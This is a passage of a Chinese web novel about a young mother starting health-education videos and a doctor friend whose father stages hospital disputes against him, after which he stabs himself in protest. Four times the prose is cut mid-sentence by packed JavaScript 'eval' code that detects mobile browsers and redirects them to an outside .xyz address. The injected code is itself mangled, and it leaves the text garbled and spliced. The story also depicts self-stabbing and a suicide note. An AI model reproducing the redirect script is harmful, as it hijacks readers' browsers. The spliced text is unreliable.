;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134200|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入自己的账号，开始上传。 整个过程她都忐忑得坐立难安，大概因为倾注了希望，才格外地害怕一切付出落空。 输入视频介绍时，舒元前所未有地谨慎，一个字一个字地读，一个词一个词地推敲，最后深呼吸了好几次，才终于将鼠标点向【发布】按钮。 等待视频审核的时间，舒元跑去看了看青青，见宝宝睡得挺香的，她才去洗澡、吹头发。 等她忙完回来，再刷新电脑时，视频已经发出去了。 心跳失速一瞬，她喝了口水，查看向自己的数据，跟之前发布的生活视频差不多，都是刚发布时只有几十点击。往往这种时候是没有评论的，可下拉页面时，她居然看到了两条视频。 这个初始点击和留评比例好高。 第一条评论是一个女观众对自己姨妈状况的分享，并表明终于从这条视频里看懂了自己到底存在哪些问题，可以通过做什么来改善。还夸舒元在视频里表述的确切方法和详实理论基础非常棒，令人信服，很有帮助。 舒元高兴地搓了搓脸，又去看第二条视频。也是个女观众，夸了舒元口播节奏好，上相，还建议舒元下个科普视频可以做得更精简一些。 两条有效评论，都是夸奖和友善的反馈，令人振奋。 看完评论后再次刷新，居然又多出一条评论，舒元不敢置信。再去看点击数据，居然已经从两位数迅速涨到三位数，哇，速度好快。 舒元热血沸腾，困意尽消。就这样开始一边读评，一边刷新，一边看数据，不知不觉两个小时就过去了，等她意识到这样不行，得睡觉时，这条视频的点击量已经破千了。 这是她最快点击破千的视频，更令人惊叹的是，一千多的点击量，居然有一百多评论。这个比例是她视频质量不错的最有力佐证，只有不水的、高质量视频才能吸引人留评，这是所有人公认的逻辑。 做了数据记录，舒元又去洗了把脸，才终于舍得关机。 倒头睡下时，她还时不时点开手机看数据，直到累得不行了，才终于将手机推远，决心不再玩手机，好好睡觉。 迷迷糊糊入梦前，她脑海里还在想，如果这个视频成绩还不错的话，她接下来就再拟一个题目，找哥哥或者哥哥的同学们求教，将这种医学科普节目一直做下去。 13. “父爱” 舒元的新视频上线第二天，数据稳步增长。 舒逸将她的视频看了一遍，提了几个建议后，大吹特吹：“比其他那些乱七八糟的科普、讨论视频强太多了，元元可以的，知识点都讲得挺明白的。自己写的文稿？” “当然，毕竟跟着你们混了这么多年，耳濡目染，各种词汇和基础概念早就耳熟能详了。”舒元一边吃面包一边给舒逸装盒饭。 “下一个视频准备做什么？要不要做心外？”舒逸吞下一整个鸡蛋，含糊地问。 “不做，你这个专业太深了，跟日常生活距离太远。我准备再做一期女性卫生，比如平时怎么清洗，到底要不要用洗液。性-生活前后如何保护自己的健康和卫生，还有比如揉肚子是否真的对子宫更好之类，这种日常护理方面的，受众面广，能帮到的人也更多。”舒元将四个饭盒分装进两个提兜里放在玄关。 “怎么两份？”舒逸挑眉。 “还有一份是给鸢哥的，咱们还住着人家的房子呢。”舒元拍了拍盒饭，抬头正色道： “这次鸢哥回国，给我和青青带的礼物都很贵，我都不知道该怎么回礼。” 今天青青穿的漂亮小裙子也是易书鸢送的，为了确保青青明年能上得了舒元他们现在住的这个高档小区的内部幼儿园，易书鸢还提前准备了各种材料，跑去提前给青青报名抢名额。 舒元小时候只要给父母带来一点麻烦，就会被辱骂、被罚，这让她养成了不敢麻烦他人的习惯，虽然出发点是害怕被讨厌，但行为上倒也称得上独立。 她希望易书鸢也认可她是个独立的、不给人添麻烦的人，偏偏他帮了她那么多忙，她能为他做的事却很少。 “以后我给你带盒饭，你也给他一份。 “回头咱们算一下，每个月还是按照这边的房租行情，给鸢哥交房租吧。” “房租的事回头你跟他说吧，我一提，他就转移话题或者跑掉了。”舒逸踩上鞋，将两份饭盒都塞进书包里背在背上，风风火火地出了门。 他搬出来跟舒元住，对父母说的是租在离医院近的地方，上班方便。父母大概也知道他其实是为了就近照顾妹妹，只是睁一只眼闭一只眼不提罢了。 在舒元的月经科普视频发布3天后，得到了首页精品推荐，第二屏大封面推广。 于娟中午吃饭时，找到舒逸，“刚开始我还想着这种科普视频能有多少流量啊，现在网上火的不都是游戏视频，或者那种吃美食、旅游、拍段子的视频嘛。真没想到，你妹这个视频成绩这么好。” “也不看看是谁做的视频。”舒逸哈哈大笑，得意的不得了。 “哎，达到一定网络阅读量，我都可以当论文用了。”于娟拍拍手机，“现在网络视频也算科普文章的创作和发表呢，以后对晋升有用，你妹还算帮了我的忙呢。” “哇，你这就叫好人有好报。”舒逸啧啧道。 “哈哈哈，是呢，刚开始我就想着你妹感兴趣，就随便给她讲讲的。”于娟坐在舒逸身边，点开视频界面，一边给舒逸展示数据，一边跟舒逸讨论下面的留评内容。 易书鸢坐在边上，也探头看了眼于娟的手机屏幕。 放下舒元帮准备的午餐饭盒，他也点开了手机，下载好该视频app后，他插上耳机，搜索舒元的这条科普视频看起来。 她之前的视频，他早就看过不止一遍了。这条视频难得地不仅发声，还露了脸。 视频里的舒元仍保留着她讲话时的习惯性小表情。 她喜欢讲几句话后朝着倾听的人笑笑，停顿几秒以确定别人是否还愿意听，小心翼翼的，很乖，很懂事，很惹人疼爱，即便是对着镜头，即便视频经过了剪辑，易书鸢还是看到了偶尔保留下来的那几秒笑容。 舒元一直是个大大咧咧的孩子，舒逸总是说她上蹿下跳的没个女孩子样。 大家对她的评价多是爽快、利落、开朗、要强、聪明，但易书鸢总觉得，她气质中最突出的其实是温柔。 他能感觉到她的温柔，哪怕她讲话很大声，喜欢大笑，看起来不像是那种细腻和软的温柔妹妹，但他能从舒元的眼神和一切细小的习惯中看出来，她内心对别人的体贴和温柔。 坐在他对面的舒逸抬起头，忽然看到易书鸢难得地扯着唇角。 “笑什么呢？”舒逸大声问。 易书鸢点了暂停，抬头对上舒逸的视线，听到对方重复一遍，才摸了摸唇角。 他居然在笑吗？ 仿佛被舒逸识破心底最深处的秘密般，他脸上浮起不自然的赧意，忙退出了视频app。还是回家后再看吧。 只是之后发生的事情，打破了易书鸢所有的步调，令他很长一段时间，都失去了静下心来看点什么的能力。 … 易书鸢回国一段时间后，还是被父母知晓了他的行踪。 得知他回国后没有第一时间回家，还一直想瞒着父母，易父气急败坏，用秘书的电话打给易书鸢，一经接通便是一通大骂。 易书鸢从小就是学霸，即便是学生时代都没受过什么欺负，工作后因为各方面优秀，也从没受过冷眼。哪怕导师、领导待他都很和善。病患们除非个别极品，对他这个耐心专业的医生皆敬重有加。 只有父母，只有他们好像从未将易书鸢当成一个独立的个体去尊重。 他们好像将他当成他们的所有物，易书鸢有任何悖逆他们的行为，都使易父无法容忍。 他们要求易书鸢必须处处遵从他们的意愿，要围着父母转，要给父母当牛做马，一辈子俯首帖耳。 易书鸢原本也并非不愿做一个孝子，可是他已经发现父母做的那些在金钱、权力上防着他的事，已经意识到父母说的那些“一切不都是为了你嘛”“爸妈这么辛苦赚钱，吃这么多苦不都是为了你嘛”都是谎言，他已经变不回那个乖乖被骗的可怜小孩了。 从第一次父母只是为了向他宣誓“话语权”，不顾道理、无视他的痛苦，狠狠打压他的意愿，摧毁他儿时的爱好起； 从偶然听到父亲跟人聊天，说想再要一个孩子，不是为了喜欢孩子，而只是为了钳制易书鸢这个独子； 从外公偷偷给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134201|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易书鸢一个小金库，父亲得知后想尽各种办法骗走了一大半。还在他想要学医时，以不给学费为要挟，逼易书鸢毕业后听父亲的安排进公司…… 易书鸢已越来越明白自己生在了怎样的家庭，拥有怎样的父母。 父母只是想要他听话，想要他以为他们爱他，想要依靠“武力”和“道德”双管齐下地好好管制他。 他的成长中充斥着利益斗争。 在父母争抢外公的家产时，他这个受外公喜爱的孩子，是个重要的棋子； 在易书鸢拿到外公大量财产后，他则成了父亲觊觎的钱袋子； 当他开始越来越独立，越来越强大，甚至可以不依靠家里便能好好在社会上生存时，他这块儿肉好像变得更美味了。父母开始考虑得更长远，他们想要他回去帮他们赚钱，想要他回家伏低做小给他们当孝子，在情绪层面和劳力层面给他们鞍前马后，然后像个奴才一样恭恭敬敬给他们养老。 从小到大，易书鸢一分一秒都不得歇。 易书鸢这个儿子脱离了父母一分钟，对父母来说就是一分钟的损失，无法忍受。 那夫妻俩想要将他彻彻底底地榨干，每一分利益都不撒手。哪怕他只是想要一丁点喘息的机会好治愈自己，也不可以。 易父要易书鸢立即、马上回家。 易父给易书鸢安排了进入公司的职位，责任大、工作忙，但是公司的收入仍在易父这个董事长的掌控之中。 与此同时，易父给易书鸢安排了相亲，要他进公司后立即开始与对方接触…… 挂断电话，易书鸢已觉得有些窒息，吃药时，他又接到了母亲的电话。 母亲听到他的声音比以往低沉沙哑，却没有关心他是不是身体不舒服。她只是絮絮地哭诉她自己的可怜。 母亲让他快些回家，说如果他不好好接掌家里的事，易父可能会在外面养野女人，生野孩子，到时候家产都转到别的女人和孩子那里怎么办。 “妈，外公给你留的钱，以你的消费，也够活一辈子不止了。父亲每个月还会给你打很多，何必非要强求把所有都拢到自己兜里？”易书鸢不知道自己已跟母亲讲过多少次，只觉无力。 他身体不舒服，眼前一阵阵发黑，坐在沙发上仍觉天旋地转。但他早已知道自己跟母亲说身体不舒服是没有意义的，他不仅得不到任何关心，还会造成母亲的攻击行为。 她会以为他在故意跟她示弱，以这样的手段跟她对抗。 “你懂什么！我们的东西凭什么给别人？你知不知道那是多少钱？让你爸在外面养别的女人是很好的事吗？你就不能争气点吗？早知道我当初就该再生——” 母亲的声音仍透过话筒咆哮着，易书鸢手渐渐垂下去，手机落在地上，母亲的骂声变小，她故意嚎给他听的哭泣也变得若有若无。 他眼神空洞地望着房间的墙壁，忽然想，大概就是这样了。 这大概就是他的全部人生了。 一个不配得到幸福的人，一个连父母之爱都得不到的人。 这大概就是他的人生了。 14. 与过去诀别 医院里总是忙忙碌碌，舒元趁中午时间来跟于娟学姐咨询专业知识，给于娟学姐带了自己在家做的一大盒红烧牛排骨。 于娟一个人哪吃得完，当即把舒逸、易书鸢他们几个都喊了过来。 大家围坐在长桌边分食排骨，吃得很开心。 饭后，舒元要跟于娟去聊工作，收好东西准备走时，忽然又坐回去，探头问易书鸢：“鸢哥，你最近是不是都没睡好？” 易书鸢摸了摸自己的眼底，笑道：“黑眼圈是不是太重了？” “有一点。”舒元点点头，之前青青发烧，她晚上一宿一宿照看青青的时候，眼底都没这么黑过。 “刚回来，好多工作要熟悉，过阵子就好了。”易书鸢站起身，拍拍她肩膀，“去忙吧，于娟的午休时间也不多。” “嗯。”舒元点点头，“回头来家里，给你和我哥煮点补肝的汤。” 说罢，舒元跟着于娟去了休息室。 易书鸢盯着舒元的背影看了几秒，才转身随舒逸他们离开。 … 医院从不是个安静的地方，舒元跟于娟学姐做过咨询后离开时，与不开心的人们擦肩。 在这个充满了负能量的环境里，人们急匆匆来去，没有笑容。 急诊室方向传出急躁的喊叫，舒元转头侧目时，两个男人大步流星与她擦肩，气势汹汹拐向某处。 他们不像是来看病的，像是来讨债的。 这天下午，两个男人大闹了易书鸢的诊室，说易书鸢给他拔错了牙，要易书鸢赔钱，还嚷嚷着让人下跪道歉。 4天后，又一个妇女和她家里的七八个兄弟再次冲进易书鸢的诊室，硬说易书鸢给她补牙后，她每天牙痛得睡不着觉，现在连头也疼，快活不下去了，要一头撞死在易书鸢的办公桌上。 她那七八个兄弟砸了易书鸢的电脑，推倒了易书鸢的桌子。 10天后，第三起医闹仍发生在易书鸢的办公室。 易书鸢这些天不知道打了多少报告，提交了多少材料和证据。 他当然没有医错，他的手术一向是最好的。 可医院也承受着巨大的压力，那些人不仅到医院闹，还拍照片发到网上，口口声声都是医院害人。 易书鸢被迫回家休息，他一直死咬着牙硬挺，这天独自回到家时，忽然感到一阵茫然。 十几年里，他第一次主动给父亲打电话，易父承认了——是易父安排的医闹，他就是要让易书鸢当不下去医生，乖乖回家，过他这个父亲给安排的生活。 易书鸢挂了电话，没有听易俊成后面的话。 这一天他拿着手术刀回了易俊成的别墅，等到易俊成到家后，他忽然抓住易俊成的手，将刀塞进去，在对方疑惑抬头时，他猛然用力将刀插进自己肩膀，拔出，又插一刀。然后在易俊成目瞪口呆时，他上前一步，看着易俊成的眼睛，说：“你原本可以直接杀了我的，何必费那么多周折，雇人去医院。” 易俊成又惊又怒，他难得地没有破口大骂，而是猛然抽手，将那把手术刀丢在了地上。 鲜血流了很多，他抬起头对上站在楼梯上的母亲的眼睛。 那双眼里充满了恐惧。 人类天生是具有的兽性的，是教育让人有了道德和人性。 这个世界总是在教大家如何去爱，却没有人教他们如何去恨。大家只能摸索着，用自己的方法去恨，难免恨得有些过激。 易书鸢看着站在原地的易俊成和母亲，他们没有任何一个人想要上前搀扶他，看着他的眼神就好像在看一个精神病。 真好，他终于不是他们眼中的“大肥肉”，而是个惹人厌的“精神病”了。 易书鸢摇摇晃晃转身，一直到走出别墅，穿过院子，没有人过来扶他，也没有人来拦他。 真好。 他开动自己的车，驶出别墅时，忍不住笑出声，哈哈哈，哈哈…… 回到家，他靠着门坐倒在地上，或许是失血过多了，有些头晕。 他想，现在易俊成是不是就不会再继续搞他了？ 一个精神病儿子有什么用？ 易书鸢看着自己的掌心，心想，原本就不止易俊成手里有“刀”，他也可以有的。 哪怕这把刀要插向自己，但他早已不是手无缚鸡之力的孩子，父亲也早已无法再向他诉诸武力，他已经比父亲更高了。 道德不止维系了人类社群，原来也令人在豺狼虎豹面前显得软弱。 易书鸢脑海里浮现各种纷乱思绪，他忽然想起自己钱包里放了两年的遗书，觉得安心。 他想，至少舒元和舒逸不会觉得他是个软弱的人，他们会记得易书鸢是个讲义气的好人，是好朋友。 易书鸢又想起舒元在家里摆着他和舒逸的合影，就好像他也是他们的家人一样。 唇角扯了扯，可惜他没办法去到他们中间去。 要是舒元在，她会对他笑，会安慰他，甚至会照顾他吧。她一向是个很懂得感恩，也很会照顾人的人。 可惜他不能到他们身边去，他们只是朋友，不应该承担超过那个界限的东西。 易书鸢想，那太沉重了，也不公平。 …… 舒逸休息的第一时间便买了两瓶红酒，开车直奔易书鸢家。 接连在一个月内遭遇三起医闹，这么倒霉的事居然让易书鸢碰上，未免太倒霉了。舒逸不仅带了帮易书鸢消愁的酒，还带了把扫帚，据说是开过光的，他要用扫帚好好扫一扫易书鸢，去去晦气。 但舒逸没敲开们，打电话也没人接。 从公寓门口折返车库时，他小绕了一下去易书鸢的车在不在——要是车在，人肯定不会去远地方，他就等易书鸢一会儿，要是车不在，那估计就是去比较远的地方了，他就先回家，晚点再过来。 舒逸远远便看到了易书鸢的车，本来想转身就坐电梯去易书鸢家门口等人的。 可他看到了车门上的污渍，一念之间凑近去看，舒逸看到了车门、司机座位、安全带、方向盘和手刹上的所有血迹。 大步跑回易书鸢公寓门口，舒逸报了警。 开锁师傅到时，警察恰巧也到了，打开门的一瞬间，易书鸢向后倒下来。 舒逸蹲身一把捞住易书鸢，看到满地的血，脸色也跟着变得惨白。 …… 易书鸢意识清醒过来时，嘴巴上有什么硬硬的东西碰了一下，他下意识抿了下嘴唇，甜甜的。 尝到令人愉悦的味道，他才听到四周嘈杂的声音。各种噪音都是熟悉的，是医院的声音。 睁开眼，本以为会看到医生，却见一个眼睛大大的小女孩儿坐在病床边，手里拿着棒棒糖，自己嗦一口，往抱着的娃娃嘴里放一下，之后抬头探长手臂又要往易书鸢嘴里送，口中还在嘟囔： “我一口，佩奇一口，舅舅一口。” 易书鸢下意识张开嘴，又抿了下棒棒糖。 舒青青这才发现易书鸢舅舅睡醒了，她停下所有动作，眨巴着大眼睛看他，也不知道在想什么。 “妈妈呢？”易书鸢开口问，抬头看到床头桌上摆放着水壶、水果等各种东西，连地上也堆了许多果篮和用具。 青青在这里，舒元肯定也在。 舒青青没有说话，却伸手指了指门口，意思大概就是妈妈出去了。 易书鸢头有些痛，他尝试着双手撑床想坐起身，肩头一阵刺痛。 恰巧舒元从外面走进来，瞧见易书鸢醒转，立即将手中的水壶放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134202|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边，笑着说：“你可算醒了，肩膀疼吧。” 走到床边，她将床摇起来，折叠起的床头正好能让易书鸢保持靠坐姿势。 “我昏迷了多久？”他转头看，阳光很亮堂堂的，似乎是上午。 “现在已经上午十点了，医生说你受伤失血过多，加上之前一直熬夜过劳，多睡一阵也正常。我本来以为你要下午才起呢，要是我像你们这样熬夜，肯定要睡个一天一夜才罢休。”舒元倒了杯温糖水，递到易书鸢面前。 他想抬手接杯子，舒元“哎”一声，直接将杯缘送到他唇边，“你别动手了，牵动了肩膀又要疼，我喂你喝吧。” 易书鸢迟疑了下，见她已经将杯子贴在他唇边，一脸期待地看他，便就着她的手咕咚咕咚喝了大半杯。 抬头对上舒元笑吟吟的目光，心里一阵异样感受。 他隐约记得门打开时舒逸冲过来的影像，只是头晕目眩有些不清醒，说不出话而已。后来就真的昏昏沉沉睡着了，直到现在。 想来舒逸和舒元他们肯定吓坏了，他垂眸想了想，再对上她视线时，开口道：“我不是要寻死，就是失血后头晕，当时心情不好，不想去医院——” 舒元拍拍他手臂，“我们都知道。”又朝他温柔地笑了笑。 人在痛苦的时候，不断地解释、剖析自己，本身也是一种伤害。舒元不想他刚醒就摊开自己的情绪来安慰旁人，她想让他自己静一静，缓一缓。 要提起他受伤和晕倒的事，还是等他康复了，自己有倾诉欲望的时候再说吧。 “……”易书鸢静静地望着舒元，没有说话。 “我哥昨天晚上在这边给你守夜来着，早上看见我，一直跟我说上学那会儿，你帮了他多少忙，有多讲义气，让我一定在这陪着你。他说你平时从来不麻烦身边人帮忙，他想帮你一次，还你点人情可太难了，现在非得趁这个机会，使劲儿对你好。”舒元撇撇嘴，悄悄用眼睛瞄他一眼，又继续絮叨： “用得着他说这些嘛，我初中那会儿，你和我哥就关系好，天天带着我一块儿玩。你们出去打篮球都要带着我，因为打完球要带着我一起去吃雪糕、喝冷饮。这么多年了，我又不是就只知道跟着你们屁股后面吃喝玩乐，我也会看会想的好吧。我哥身边这帮朋友，哪个人什么性格，我心里也有数的，更何况你跟我哥关系最好，我们最熟，最亲。” 她笑呵呵地一边照顾青青，一边跟易书鸢聊天，语气欢快地聊东聊西帮易书鸢分散注意力，不想让他回到自己的情绪里去钻牛角尖。 易书鸢看着她，听着她，不知不觉间勾起唇角。 待舒元中午去食堂打饭时，易书鸢轻轻摸了摸自己的伤口，转头看向窗外，忽然觉得有些轻松。 就好像，他终于为过去的许多事做了个了断，朝着新的生活，迈出了小小的、决然的一步。 中午吃饭时，易书鸢发现自己的手一直在抖。 “医生说没有伤到筋骨，应该是情绪上的问题。”舒逸跑过来陪易书鸢和舒元一起吃饭，站在床边跟易书鸢讲昨天医生都对他做了哪些治疗。 “嗯。”易书鸢点了点头，转而道：“我这样，一时半会恐怕也没办法做手术。帮我整理下手续吧。” “什么手续？”舒逸问。 “辞职。”易书鸢放下碗筷。 “啊？！”舒逸诧异地瞠目，“不当医生了？你不能让你那个混账老子得逞啊。我就说你给他打电话的时候应该录音的，抓住证据了，去法院告他啊。” 易书鸢摇了摇头，与舒逸对视的眼神是坚决的。 要解决掉自己积累多年的情绪问题，重新开始，不是一朝一夕的事。 有些事一旦发生，就再也回不去了，这份工作也是如此。 15. 一个可能性 易书鸢想要彻底消失一阵子，想要换一个手机号，离开现在住的地方，去一个跟过往都不同，不会让他触景生情的地方。 还要是一个父母找不到他的地方。 在物理层面上彻底地与过去割裂，他想要一个这样的、轻快的地方。 这世上很多疾病都是有明确成因的，只是许多人处在病原之中不察觉而已。久治不愈的沉疴，可能在你断开一段关系、辞别一份工作、远离一个环境后，忽然开始痊愈。 易书鸢需要这样的断开、辞别和远离。 舒逸这些朋友只有支持，就是希望至少不要连他们也彻底不联系。 大家都不有点不放心他完完全全独自一人生活，怕他又发生受伤晕倒之类的事。他是情绪病，得有人看着。 一帮人聊这事儿的时候，舒元一直沉默坐在一边，似乎在专心听哥哥们聊天，又似乎在走神。 明天易书鸢出院，可能就要开始寻找“独处”的落脚点。 舒元透过或站或坐在床边的几位哥哥，想起2年前易书鸢刚出国的那段时光。 那样的分别，她要再经历一次。 因为离别而伤感，这是本来就不该有的情绪。 舒元在最初开始暗恋易书鸢的时候，就告诫自己，这应该是件开心的事，喜欢一个优秀的人，或近或远地欣赏他优异的外貌、高超的球技，因为他成为高考状元而替他骄傲，以他为目标努力学习。借着哥哥的关系，每一次跟易书鸢一块儿吃饭，对她来说都是一次奖励……包括拥有那一夜，和生下青青。 她喜欢他，与他无关。 是不求结果的暗恋，所以不要有妄念，也不要有不开心的情绪。 舒元觉得坚守这些想法，才叫不忘初心。 可是好难。 人的本性是贪婪的，她没办法控制自己不去肖想某一种大胆的可能。也无法不因为他对她的好而窃喜，更无法控制自己因为他的离开而难过。 这么多年，易书鸢一直没有恋爱，也没听哥哥说他喜欢过谁。这对舒元来说或许算是一种幸运，而这种幸运，或许就要离她远去了。 他要与过去的一切做割裂，让自己彻彻底底重新开始。连工作也辞了，家也不住了。 那过去的友谊呢？ 是不是连她也将被他放置在人生中全新的位置，比如更疏远的、不再需要常常见面的一个位置……他会有新的生活，新的圈子，新的朋友……乃至新的一切。 舒元有一种预感，这一次易书鸢离开后，就真的离开了，与过去的每一次分别都不一样的那种，彻底的离开。 她忽然有点心慌，也因此生发出某种冲动。 晚上舒元带着青青回到家，哄青青睡觉吼，独自一个人坐在电脑前发呆。 他就要了，就这样眼睁睁看着他走吗？ 可是，想要留下他，自己又能做什么呢？ 坐起又躺下，躺下又坐起，几次后，舒元忽然有了一个想法。 这一夜，她通宵做了一份ppt，天才亮便将青青交给阿姨照顾，自己打印出厚厚一沓文件，直奔医院去接易书鸢出院。 如果易书鸢需要一个人看着，那个人为什么不能是她？ … 坐在医院后大杨树下的长椅上，易书鸢看着舒元打印的合作申请，哭笑不得地转头看她。 “是你哥想找个人看着我，才请你帮忙的吧？”易书鸢声音很低，柔柔得像在哄孩子：“我的状况复杂，元元，你有自己的人生，不应肩负来自他人的重担。就算大家关系好，你哥也不应该道德绑架你，让你来帮这个忙。” 见舒元要讲话，他又笑着道： “我的情绪病是从高中就开始的了，复发很正常，吃药就能控制，发作的时候最多手抖心慌，其实过一段时间也就好了。你哥要是不放心，大不了我请个阿姨，让阿姨每天给他汇报我的状况。 “你的事业才起步，健康科普是个很好的主题，现在大家生活好了，都很关心健康。人们讳疾忌医不愿意去医院，一些小状况疑神疑鬼又很担心，专业的科普能给大家更好的引导，一定能火。 “你说的这个基建项目挺有趣，但你不应该为了别人舍弃自己的项目。 “从你小时候我就知道你是会为了别人而损害自己利益的人，因为你父母对你忽视，所以你想要让别人满意，也害怕自己令别人不满意。这是不对的，其实除了你父母外，其他人并不会因为你没有满足他们的需求就训斥你。这个社会虽然需要人和人之间互相帮助，但大多数时候都不应该要求别人‘舍己为人’。 “这个世界上没有那么多好人，也没有那么多坏人，多得是无关紧要的人。 “你应该更多去看顾自己的需求，满足自己的需求。” 舒元听着他的话，心里一股一股地浮起暖意。 她知道自己是个缺爱的孩子，缺母爱也缺父爱，所以特别无法抵抗易书鸢这样如父兄般的温柔看顾。 在易书鸢的口中，那个一直照顾别人的人好像是她。其实不是的，那个人明明是易书鸢。 小时候，舒元一直是坐哥哥的车后座或校车，后来哥哥要念大学了，她得自己学会骑自行车。就用哥哥的自行车，在陪哥哥去打篮球的时候，自己一个人在边上的大操场上练习。 那会儿操场附近常有变-态出没，会骚扰来草场玩耍的女孩子。 易书鸢打篮球的时候看到舒元自己一个人，就借口累了，离开球场到隔壁草场上陪护在在她左右。有他护航，舒元胆子大起来，很快便握稳了车把，蹬着自行车越骑越快。 懂事的从没跟父母要过玩具的舒元，得到的第一个毛绒玩偶是易书鸢给她买的。 高中拍毕业照那天，易书鸢陪哥哥过来见证她毕业，买了“没用”却令她虚荣心得到大大满足的超大捧鲜花，让她成为全校最高调，同时也最快乐的女孩。 每次哥哥带着她跟朋友们一起玩，只要有易书鸢在，舒元就一定会吃得玩得很开心。易书鸢比哥哥更细心，也更懂得照顾人。玩鬼屋，易书鸢会一直在她身边。玩剧本杀，他会时刻注意与她互动，增加她的参与感。去网吧打连击，他也会在舒元不想打游戏时帮她找到好看的电影…… 舒元爸妈重男轻女，对她很忽视，甚至有时会流露出嫌弃的态度。但她也并不是个不幸的小孩，在父母这边缺失的疼爱，在哥哥和哥哥的朋友们身上得到了，这其中最突出的，当属易书鸢。 爱上他是件很容易的事。 可是想要回报他的好却很难，他是个很内敛的人，几乎从不向他人倾诉自己的不开心和需求。 他也太懂得拒绝别人的帮助和善意了。 就像舒逸说的，想要找到个能帮到易书鸢的机会可真不容易。 “鸢哥，我不是为了帮你才提出这个合作方案。”舒元知道他不愿意欠别人的人情，不愿接受他人的帮助。她摇头否定了自己的行为是为了帮他，实际上也的确不完全是为了帮他。想要跟他一起做事，本来就是她的私心。 “‘健康科普’是个很好的点子，我肯定是要继续做下去的。但这个栏目现在还很简陋，后续我会逐步完善策划。 “之所以想跟你合作这个‘基建项目’，是因为‘健康科普’的内容是有极限的，我必须不断拟新的题目，找到专家来采访、查资料、拟稿。是个没办法日常更新的项目。 “它要做起来，需要口碑积累，慢慢来，不是个快速来钱的项目。 “所以我想同时再做一个可以日常些的项目，同步推进。 “原本我考虑过‘宝宝博主’这个类型，比如青青吃播，或者拍青青的快乐日常。但这需要青青配合，首先青青不是个大胃王，吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134203|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭慢条斯理的也不特别香。再者我也不想让青青太累。 “这时候恰巧你想找个地方住，我才想到这个项目。” 舒元拿出自己的文件展示给易书鸢： “当然，鸢哥如果觉得不合适就拒绝我好了，不用觉得有压力。但如果你只是因为觉得这是我在帮你而拒绝，那不行。 “现在你要找个新地方住，我们完全可以在上海边上找个带院子的老房子。浦东浦西边缘有很多农地，农地和城市连接的区域有不少这样的私建房，带院子，有网有点有水，挨着田野和镇子（如川沙镇、江镇之类），要进城也方便。 “我们晚上各自回家，白天在院子里清扫、基建、布置。 “医生说你最好多在室外晒太阳，找一些体力工作做，或者常在户外做一些有氧运动。 “清扫院子、在院子里种种花，打理房屋，这完全贴合医生的建议。 “而且我记得你上高中毕业那会儿迷上做木匠手工，还去专门学过一段时间，给我和哥哥一人做了一个小桌子。 “到时候我跟着你一起干活，当然主要是做拍摄。如果你不愿意露脸，我也可以只拍你背影。” 帅哥美女做基建，一定很有看点。 “而且这个基建项目也更方便做直播，回头真做起来的话，这个项目一定比‘健康科普’更适合直播卖货赚钱。” “你真想做？”易书鸢听着她说得头头是道，有些诧异地望着她。 “当然。我昨天查了好多国外类似基建的大up主，我想模仿外国大up主的风格和节奏来做，跟国内的基建视频做出些差异性来。”舒元连定位都想得八九不离十了，笑着说： “等你的院子真的做好了，大家还能多一个烧烤聚会的场所。 “鸢哥你不是一直想养只大狗吗？远离城市有院子的环境，什么大狗不能养啊。 “我更倾向去浦东那边找个房子，那边好多人在距离农田不远，挨着镇子的地方建联排别墅，就那种农村私建房，但很宽敞很漂亮，只要稍加打理一下，完全可以改造成别墅。 “那边距离动物园近，离迪士尼也不远，外围的路不堵，开车去哪儿都方便。 “你平时住在那边，可以办个动物园的卡，常常去那边坐着看动物，我看很多人说这个行为也很解压的。亲近大自然，亲近动物。” “动物园臭死了。”易书鸢忽然接话。 舒元愣了下，笑道：“你找个有风的天气嘛，臭味被吹跑了，就不臭了。其实我觉得还好吧……” 易书鸢专注地望着她，听她情绪昂扬地描绘她的畅想。 